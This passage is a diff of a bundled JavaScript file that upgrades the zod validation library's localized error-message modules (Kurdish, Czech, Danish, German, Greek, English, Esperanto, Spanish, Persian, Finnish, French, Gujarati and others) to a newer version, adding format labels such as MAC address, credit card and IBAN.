\u0646\u0627\u062F\u0631\u0648\u0648\u0633\u062A\u06D5: \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 ${stringifyPrimitive(issue2.values[0])} \u0628\u06CE\u062A`; + return `\u0647\u06D5\u06B5\u0628\u0698\u0627\u0631\u062F\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 \u06CC\u06D5\u06A9\u06CE\u06A9 \u0628\u06CE\u062A \u0644\u06D5 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u0632\u06C6\u0631\u06D5\u0648\u06D5 ${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u0632\u06C6\u0631\u06D5\u0648\u06D5 ${issue2.maximum.toString()} \u0628\u06CE\u062A`; + } + case "too_small": { + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u06A9\u06D5\u0645\u06D5\u0648\u06D5 ${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u06A9\u06D5\u0645\u06D5\u0648\u06D5 ${issue2.minimum.toString()} \u0628\u06CE\u062A`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u062F\u06D5\u0633\u062A\u067E\u06CE\u0628\u06A9\u0627\u062A \u0628\u06D5 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u06A9\u06C6\u062A\u0627\u06CC\u06CC\u0628\u06CE\u062A \u0628\u06D5 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 "${_issue.includes}" \u0644\u06D5\u062E\u06C6\u0628\u06AF\u0631\u06CE\u062A`; + if (_issue.format === "regex") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0644\u06D5\u06AF\u06D5\u06B5 \u067E\u0627\u062A\u06CE\u0631\u0646\u06CC ${_issue.pattern} \u0628\u06AF\u0648\u0646\u062C\u06CE\u062A`; + return `\u0628\u06D5\u0647\u0627\u06CC ${FormatDictionary[_issue.format] ?? issue2.format} \u0646\u0627\u062F\u0631\u0648\u0633\u062A\u06D5`; + } + case "not_multiple_of": + return `\u0698\u0645\u0627\u0631\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u062F\u06D5\u0628\u06CE\u062A \u0686\u06D5\u0646\u062F \u0647\u06CE\u0646\u062F\u06D5 \u0628\u06CE\u062A \u0628\u06C6 ${issue2.divisor}`; + case "unrecognized_keys": + return `\u06A9\u0644\u06CC\u0644\u06CC \u0646\u06D5\u0646\u0627\u0633\u0631\u0627\u0648: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u06A9\u0644\u06CC\u0644\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A \u0644\u06D5 ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0628\u06D5\u0647\u0627\u06CC \u0646\u06D5\u0646\u0627\u0633\u0631\u0627\u0648 \u0647\u06D5\u06CC\u06D5. \u0628\u06D5\u0647\u0627\u06CC \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648: ${opts}`; + } + return "\u06CC\u06D5\u06A9\u06AF\u0631\u062A\u0646\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A"; + case "invalid_element": + return `${issue2.origin} \u0628\u06D5\u0647\u0627\u06A9\u06D5 \u0646\u0627\u062F\u0631\u0648\u0633\u062A\u06D5`; + default: + return `\u062A\u06CE\u06A9\u0631\u062F\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A`; + } + }; +}; +function ckb_default() { + return { + localeError: error7() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/cs.js +var error8 = () => { const Sizable = { string: { unit: "znak\u016F", verb: "m\xEDt" }, file: { unit: "bajt\u016F", verb: "m\xEDt" }, array: { unit: "prvk\u016F", verb: "m\xEDt" }, - set: { unit: "prvk\u016F", verb: "m\xEDt" } + set: { unit: "prvk\u016F", verb: "m\xEDt" }, + map: { unit: "prvk\u016F", verb: "m\xEDt" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59797,12 +61048,16 @@ var error6 = () => { duration: "doba trv\xE1n\xED ISO", ipv4: "IPv4 adresa", ipv6: "IPv6 adresa", + mac: "MAC adresa", cidrv4: "rozsah IPv4", cidrv6: "rozsah IPv6", base64: "\u0159et\u011Bzec zak\xF3dovan\xFD ve form\xE1tu base64", base64url: "\u0159et\u011Bzec zak\xF3dovan\xFD ve form\xE1tu base64url", json_string: "\u0159et\u011Bzec ve form\xE1tu JSON", e164: "\u010D\xEDslo E.164", + credit_card: "\u010D\xEDslo kreditn\xED karty", + currency_code: "k\xF3d m\u011Bny", + iban: "IBAN", jwt: "JWT", template_literal: "vstup" }; @@ -59873,17 +61128,18 @@ var error6 = () => { }; function cs_default() { return { - localeError: error6() + localeError: error8() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/da.js -var error7 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/da.js +var error9 = () => { const Sizable = { string: { unit: "tegn", verb: "havde" }, file: { unit: "bytes", verb: "havde" }, array: { unit: "elementer", verb: "indeholdt" }, - set: { unit: "elementer", verb: "indeholdt" } + set: { unit: "elementer", verb: "indeholdt" }, + map: { unit: "elementer", verb: "indeholdt" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59907,14 +61163,18 @@ var error7 = () => { date: "ISO-dato", time: "ISO-klokkesl\xE6t", duration: "ISO-varighed", - ipv4: "IPv4-omr\xE5de", - ipv6: "IPv6-omr\xE5de", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", cidrv4: "IPv4-spektrum", cidrv6: "IPv6-spektrum", base64: "base64-kodet streng", base64url: "base64url-kodet streng", json_string: "JSON-streng", e164: "E.164-nummer", + credit_card: "kreditkortnummer", + currency_code: "valutakode", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -59989,17 +61249,18 @@ var error7 = () => { }; function da_default() { return { - localeError: error7() + localeError: error9() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/de.js -var error8 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/de.js +var error10 = () => { const Sizable = { string: { unit: "Zeichen", verb: "zu haben" }, file: { unit: "Bytes", verb: "zu haben" }, array: { unit: "Elemente", verb: "zu haben" }, - set: { unit: "Elemente", verb: "zu haben" } + set: { unit: "Elemente", verb: "zu haben" }, + map: { unit: "Elemente", verb: "zu haben" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60025,12 +61286,16 @@ var error8 = () => { duration: "ISO-Dauer", ipv4: "IPv4-Adresse", ipv6: "IPv6-Adresse", + mac: "MAC-Adresse", cidrv4: "IPv4-Bereich", cidrv6: "IPv6-Bereich", base64: "Base64-codierter String", base64url: "Base64-URL-codierter String", json_string: "JSON-String", e164: "E.164-Nummer", + credit_card: "Kreditkartennummer", + currency_code: "W\xE4hrungscode", + iban: "IBAN", jwt: "JWT", template_literal: "Eingabe" }; @@ -60098,12 +61363,12 @@ var error8 = () => { }; function de_default() { return { - localeError: error8() + localeError: error10() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/el.js -var error9 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/el.js +var error11 = () => { const Sizable = { string: { unit: "\u03C7\u03B1\u03C1\u03B1\u03BA\u03C4\u03AE\u03C1\u03B5\u03C2", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, file: { unit: "bytes", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, @@ -60142,6 +61407,9 @@ var error9 = () => { base64url: "\u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC \u03BA\u03C9\u03B4\u03B9\u03BA\u03BF\u03C0\u03BF\u03B9\u03B7\u03BC\u03AD\u03BD\u03B7 \u03C3\u03B5 base64url", json_string: "\u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC JSON", e164: "\u03B1\u03C1\u03B9\u03B8\u03BC\u03CC\u03C2 E.164", + credit_card: "\u03B1\u03C1\u03B9\u03B8\u03BC\u03CC\u03C2 \u03C0\u03B9\u03C3\u03C4\u03C9\u03C4\u03B9\u03BA\u03AE\u03C2 \u03BA\u03AC\u03C1\u03C4\u03B1\u03C2", + currency_code: "\u03BA\u03C9\u03B4\u03B9\u03BA\u03CC\u03C2 \u03BD\u03BF\u03BC\u03AF\u03C3\u03BC\u03B1\u03C4\u03BF\u03C2", + iban: "IBAN", jwt: "JWT", template_literal: "\u03B5\u03AF\u03C3\u03BF\u03B4\u03BF\u03C2" }; @@ -60208,12 +61476,12 @@ var error9 = () => { }; function el_default() { return { - localeError: error9() + localeError: error11() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/en.js -var error10 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/en.js +var error12 = () => { const Sizable = { string: { unit: "characters", verb: "to have" }, file: { unit: "bytes", verb: "to have" }, @@ -60252,6 +61520,9 @@ var error10 = () => { base64url: "base64url-encoded string", json_string: "JSON string", e164: "E.164 number", + currency_code: "currency code", + credit_card: "credit card number", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -60260,12 +61531,18 @@ var error10 = () => { nan: "NaN" // All other type names omitted - they fall back to raw values via ?? operator }; + function getTypeName(type, input2) { + if (type === "number" && typeof input2 === "number" && !Number.isFinite(input2)) { + return String(input2); + } + return TypeDictionary[type] ?? type; + } return (issue2) => { switch (issue2.code) { case "invalid_type": { - const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const expected = getTypeName(issue2.expected); const receivedType = parsedType(issue2.input); - const received = TypeDictionary[receivedType] ?? receivedType; + const received = getTypeName(receivedType, issue2.input); return `Invalid input: expected ${expected}, received ${received}`; } case "invalid_value": @@ -60273,14 +61550,14 @@ var error10 = () => { return `Invalid input: expected ${stringifyPrimitive(issue2.values[0])}`; return `Invalid option: expected one of ${joinValues(issue2.values, "|")}`; case "too_big": { - const adj = issue2.inclusive ? "<=" : "<"; + const adj = issue2.exact ? "exactly " : issue2.inclusive ? "<=" : "<"; const sizing = getSizing(issue2.origin); if (sizing) return `Too big: expected ${issue2.origin ?? "value"} to have ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elements"}`; return `Too big: expected ${issue2.origin ?? "value"} to be ${adj}${issue2.maximum.toString()}`; } case "too_small": { - const adj = issue2.inclusive ? ">=" : ">"; + const adj = issue2.exact ? "exactly " : issue2.inclusive ? ">=" : ">"; const sizing = getSizing(issue2.origin); if (sizing) { return `Too small: expected ${issue2.origin} to have ${adj}${issue2.minimum.toString()} ${sizing.unit}`; @@ -60311,6 +61588,9 @@ var error10 = () => { const opts = issue2.options.map((o) => `'${o}'`).join(" | "); return `Invalid discriminator value. Expected ${opts}`; } + if (issue2.inclusive === false) { + return "Invalid input: more than one option matched"; + } return "Invalid input"; case "invalid_element": return `Invalid value in ${issue2.origin}`; @@ -60321,17 +61601,18 @@ var error10 = () => { }; function en_default() { return { - localeError: error10() + localeError: error12() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/eo.js -var error11 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/eo.js +var error13 = () => { const Sizable = { string: { unit: "karaktrojn", verb: "havi" }, file: { unit: "bajtojn", verb: "havi" }, array: { unit: "elementojn", verb: "havi" }, - set: { unit: "elementojn", verb: "havi" } + set: { unit: "elementojn", verb: "havi" }, + map: { unit: "elementojn", verb: "havi" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60357,12 +61638,16 @@ var error11 = () => { duration: "ISO-da\u016Dro", ipv4: "IPv4-adreso", ipv6: "IPv6-adreso", + mac: "MAC-adreso", cidrv4: "IPv4-rango", cidrv6: "IPv6-rango", base64: "64-ume kodita karaktraro", base64url: "URL-64-ume kodita karaktraro", json_string: "JSON-karaktraro", e164: "E.164-nombro", + credit_card: "kreditkarta numero", + currency_code: "valuta kodo", + iban: "IBAN", jwt: "JWT", template_literal: "enigo" }; @@ -60431,12 +61716,12 @@ var error11 = () => { }; function eo_default() { return { - localeError: error11() + localeError: error13() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/es.js -var error12 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/es.js +var error14 = () => { const Sizable = { string: { unit: "caracteres", verb: "tener" }, file: { unit: "bytes", verb: "tener" }, @@ -60467,12 +61752,16 @@ var error12 = () => { duration: "duraci\xF3n ISO", ipv4: "direcci\xF3n IPv4", ipv6: "direcci\xF3n IPv6", + mac: "direcci\xF3n MAC", cidrv4: "rango IPv4", cidrv6: "rango IPv6", base64: "cadena codificada en base64", base64url: "URL codificada en base64", json_string: "cadena JSON", e164: "n\xFAmero E.164", + credit_card: "n\xFAmero de tarjeta de cr\xE9dito", + currency_code: "c\xF3digo de moneda", + iban: "IBAN", jwt: "JWT", template_literal: "entrada" }; @@ -60564,17 +61853,18 @@ var error12 = () => { }; function es_default() { return { - localeError: error12() + localeError: error14() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fa.js -var error13 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fa.js +var error15 = () => { const Sizable = { string: { unit: "\u06A9\u0627\u0631\u0627\u06A9\u062A\u0631", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, file: { unit: "\u0628\u0627\u06CC\u062A", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, array: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, - set: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" } + set: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, + map: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60600,12 +61890,16 @@ var error13 = () => { duration: "\u0645\u062F\u062A \u0632\u0645\u0627\u0646 \u0627\u06CC\u0632\u0648", ipv4: "IPv4 \u0622\u062F\u0631\u0633", ipv6: "IPv6 \u0622\u062F\u0631\u0633", + mac: "MAC \u0622\u062F\u0631\u0633", cidrv4: "IPv4 \u062F\u0627\u0645\u0646\u0647", cidrv6: "IPv6 \u062F\u0627\u0645\u0646\u0647", base64: "base64-encoded \u0631\u0634\u062A\u0647", base64url: "base64url-encoded \u0631\u0634\u062A\u0647", json_string: "JSON \u0631\u0634\u062A\u0647", e164: "E.164 \u0639\u062F\u062F", + credit_card: "\u0634\u0645\u0627\u0631\u0647 \u06A9\u0627\u0631\u062A \u0627\u0639\u062A\u0628\u0627\u0631\u06CC", + currency_code: "\u06A9\u062F \u0627\u0631\u0632", + iban: "IBAN", jwt: "JWT", template_literal: "\u0648\u0631\u0648\u062F\u06CC" }; @@ -60679,17 +61973,18 @@ var error13 = () => { }; function fa_default() { return { - localeError: error13() + localeError: error15() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fi.js -var error14 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fi.js +var error16 = () => { const Sizable = { string: { unit: "merkki\xE4", subject: "merkkijonon" }, file: { unit: "tavua", subject: "tiedoston" }, array: { unit: "alkiota", subject: "listan" }, set: { unit: "alkiota", subject: "joukon" }, + map: { unit: "alkiota", subject: "kuvauksen" }, number: { unit: "", subject: "luvun" }, bigint: { unit: "", subject: "suuren kokonaisluvun" }, int: { unit: "", subject: "kokonaisluvun" }, @@ -60719,12 +62014,16 @@ var error14 = () => { duration: "ISO-kesto", ipv4: "IPv4-osoite", ipv6: "IPv6-osoite", + mac: "MAC-osoite", cidrv4: "IPv4-alue", cidrv6: "IPv6-alue", base64: "base64-koodattu merkkijono", base64url: "base64url-koodattu merkkijono", json_string: "JSON-merkkijono", e164: "E.164-luku", + credit_card: "luottokortin numero", + currency_code: "valuuttakoodi", + iban: "IBAN", jwt: "JWT", template_literal: "templaattimerkkijono" }; @@ -60792,12 +62091,12 @@ var error14 = () => { }; function fi_default() { return { - localeError: error14() + localeError: error16() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fr.js -var error15 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fr.js +var error17 = () => { const Sizable = { string: { unit: "caract\xE8res", verb: "avoir" }, file: { unit: "octets", verb: "avoir" }, @@ -60808,7 +62107,7 @@ var error15 = () => { return Sizable[origin] ?? null; } const FormatDictionary = { - regex: "entr\xE9e", + regex: "expression r\xE9guli\xE8re", email: "adresse e-mail", url: "URL", emoji: "emoji", @@ -60828,17 +62127,21 @@ var error15 = () => { duration: "dur\xE9e ISO", ipv4: "adresse IPv4", ipv6: "adresse IPv6", + mac: "adresse MAC", cidrv4: "plage IPv4", cidrv6: "plage IPv6", - base64: "cha\xEEne encod\xE9e en base64", - base64url: "cha\xEEne encod\xE9e en base64url", - json_string: "cha\xEEne JSON", - e164: "num\xE9ro E.164", + base64: "cha\xEEne de caract\xE8res encod\xE9e en base64", + base64url: "cha\xEEne de caract\xE8res encod\xE9e en base64url", + json_string: "cha\xEEne de caract\xE8res JSON", + e164: "num\xE9ro au format E.164", + credit_card: "num\xE9ro de carte de cr\xE9dit", + currency_code: "code de devise", + iban: "IBAN", jwt: "JWT", template_literal: "entr\xE9e" }; const TypeDictionary = { - string: "cha\xEEne", + string: "cha\xEEne de caract\xE8res", number: "nombre", int: "entier", boolean: "bool\xE9en", @@ -60852,11 +62155,11 @@ var error15 = () => { array: "tableau", object: "objet", tuple: "tuple", - record: "enregistrement", - map: "carte", + record: "record", + map: "map", set: "ensemble", file: "fichier", - nonoptional: "non-optionnel", + nonoptional: "non optionnel", nan: "NaN", function: "fonction" }; @@ -60867,7 +62170,7 @@ var error15 = () => { const receivedType = parsedType(issue2.input); const received = TypeDictionary[receivedType] ?? receivedType; if (/^[A-Z]/.test(issue2.expected)) { - return `Entr\xE9e invalide : instanceof ${issue2.expected} attendu, ${received} re\xE7u`; + return `Entr\xE9e invalide : instance de ${issue2.expected} attendu, ${received} re\xE7u`; } return `Entr\xE9e invalide : ${expected} attendu, ${received} re\xE7u`; } @@ -60892,13 +62195,13 @@ var error15 = () => { case "invalid_format": { const _issue = issue2; if (_issue.format === "starts_with") - return `Cha\xEEne invalide : doit commencer par "${_issue.prefix}"`; + return `Cha\xEEne de caract\xE8res invalide : doit commencer par "${_issue.prefix}"`; if (_issue.format === "ends_with") - return `Cha\xEEne invalide : doit se terminer par "${_issue.suffix}"`; + return `Cha\xEEne de caract\xE8res invalide : doit se terminer par "${_issue.suffix}"`; if (_issue.format === "includes") - return `Cha\xEEne invalide : doit inclure "${_issue.includes}"`; + return `Cha\xEEne de caract\xE8res invalide : doit inclure "${_issue.includes}"`; if (_issue.format === "regex") - return `Cha\xEEne invalide : doit correspondre au mod\xE8le ${_issue.pattern}`; + return `Cha\xEEne de caract\xE8res invalide : doit correspondre au motif ${_issue.pattern}`; return `${FormatDictionary[_issue.format] ?? issue2.format} invalide`; } case "not_multiple_of": @@ -60918,17 +62221,18 @@ var error15 = () => { }; function fr_default() { return { - localeError: error15() + localeError: error17() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fr-CA.js -var error16 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fr-CA.js +var error18 = () => { const Sizable = { string: { unit: "caract\xE8res", verb: "avoir" }, file: { unit: "octets", verb: "avoir" }, array: { unit: "\xE9l\xE9ments", verb: "avoir" }, - set: { unit: "\xE9l\xE9ments", verb: "avoir" } + set: { unit: "\xE9l\xE9ments", verb: "avoir" }, + map: { unit: "\xE9l\xE9ments", verb: "avoir" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60954,12 +62258,16 @@ var error16 = () => { duration: "dur\xE9e ISO", ipv4: "adresse IPv4", ipv6: "adresse IPv6", + mac: "adresse MAC", cidrv4: "plage IPv4", cidrv6: "plage IPv6", base64: "cha\xEEne encod\xE9e en base64", base64url: "cha\xEEne encod\xE9e en base64url", json_string: "cha\xEEne JSON", e164: "num\xE9ro E.164", + credit_card: "num\xE9ro de carte de cr\xE9dit", + currency_code: "code de devise", + iban: "IBAN", jwt: "JWT", template_literal: "entr\xE9e" }; @@ -61026,12 +62334,126 @@ var error16 = () => { }; function fr_CA_default() { return { - localeError: error16() + localeError: error18() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/he.js -var error17 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/gu.js +var error19 = () => { + const Sizable = { + string: { unit: "\u0A85\u0A95\u0ACD\u0AB7\u0AB0", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + file: { unit: "\u0AAC\u0ABE\u0AAF\u0A9F", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + array: { unit: "\u0A86\u0A87\u0A9F\u0AAE", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + set: { unit: "\u0A86\u0A87\u0A9F\u0AAE", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + map: { unit: "\u0A8F\u0AA8\u0ACD\u0A9F\u0ACD\u0AB0\u0AC0", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0A87\u0AA8\u0AAA\u0AC1\u0A9F", + email: "\u0A88\u0AAE\u0AC7\u0A87\u0AB2 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + url: "URL", + emoji: "\u0A87\u0AAE\u0ACB\u0A9C\u0AC0", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0AA4\u0ABE\u0AB0\u0AC0\u0A96 \u0A85\u0AA8\u0AC7 \u0AB8\u0AAE\u0AAF", + date: "ISO \u0AA4\u0ABE\u0AB0\u0AC0\u0A96", + time: "ISO \u0AB8\u0AAE\u0AAF", + duration: "ISO \u0A85\u0AB5\u0AA7\u0ABF", + ipv4: "IPv4 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + ipv6: "IPv6 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + mac: "MAC \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + cidrv4: "IPv4 \u0AB6\u0ACD\u0AB0\u0AC7\u0AA3\u0AC0", + cidrv6: "IPv6 \u0AB6\u0ACD\u0AB0\u0AC7\u0AA3\u0AC0", + base64: "base64-\u0A8F\u0AA8\u0ACD\u0A95\u0ACB\u0AA1\u0AC7\u0AA1 \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + base64url: "base64url-\u0A8F\u0AA8\u0ACD\u0A95\u0ACB\u0AA1\u0AC7\u0AA1 \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + json_string: "JSON \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + e164: "E.164 \u0AA8\u0A82\u0AAC\u0AB0", + credit_card: "\u0A95\u0ACD\u0AB0\u0AC7\u0AA1\u0ABF\u0A9F \u0A95\u0ABE\u0AB0\u0ACD\u0AA1 \u0AA8\u0A82\u0AAC\u0AB0", + currency_code: "\u0A9A\u0AB2\u0AA3 \u0A95\u0ACB\u0AA1", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0A87\u0AA8\u0AAA\u0AC1\u0A9F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F: \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${expected}, \u0AAA\u0ACD\u0AB0\u0ABE\u0AAA\u0ACD\u0AA4 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F: \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB5\u0ABF\u0A95\u0AB2\u0ACD\u0AAA: ${joinValues(issue2.values, " | ")} \u0AAE\u0ABE\u0AA7\u0ACD\u0AAF\u0AAE\u0AA5\u0AC0 \u0A8F\u0A95 \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0A96\u0AC2\u0AAC \u0AAE\u0ACB\u0A9F\u0AC1\u0A82: ${issue2.origin ?? "\u0AAE\u0AC2\u0AB2\u0ACD\u0AAF"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0A8F\u0AB2\u0ABF\u0AAE\u0AC7\u0AA8\u0ACD\u0A9F"} \u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F`; + return `\u0A96\u0AC2\u0AAC \u0AAE\u0ACB\u0A9F\u0AC1\u0A82: ${issue2.origin ?? "\u0AAE\u0AC2\u0AB2\u0ACD\u0AAF"} ${adj}${issue2.maximum.toString()} \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0A96\u0AC2\u0AAC \u0AA8\u0ABE\u0AA8\u0AC1\u0A82: ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} \u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F`; + } + return `\u0A96\u0AC2\u0AAC \u0AA8\u0ABE\u0AA8\u0AC1\u0A82: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.prefix}" \u0AA5\u0AC0 \u0AB6\u0AB0\u0AC2 \u0AA5\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + if (_issue.format === "ends_with") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.suffix}" \u0AAA\u0AB0 \u0AB8\u0AAE\u0ABE\u0AAA\u0ACD\u0AA4 \u0AA5\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + if (_issue.format === "includes") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF 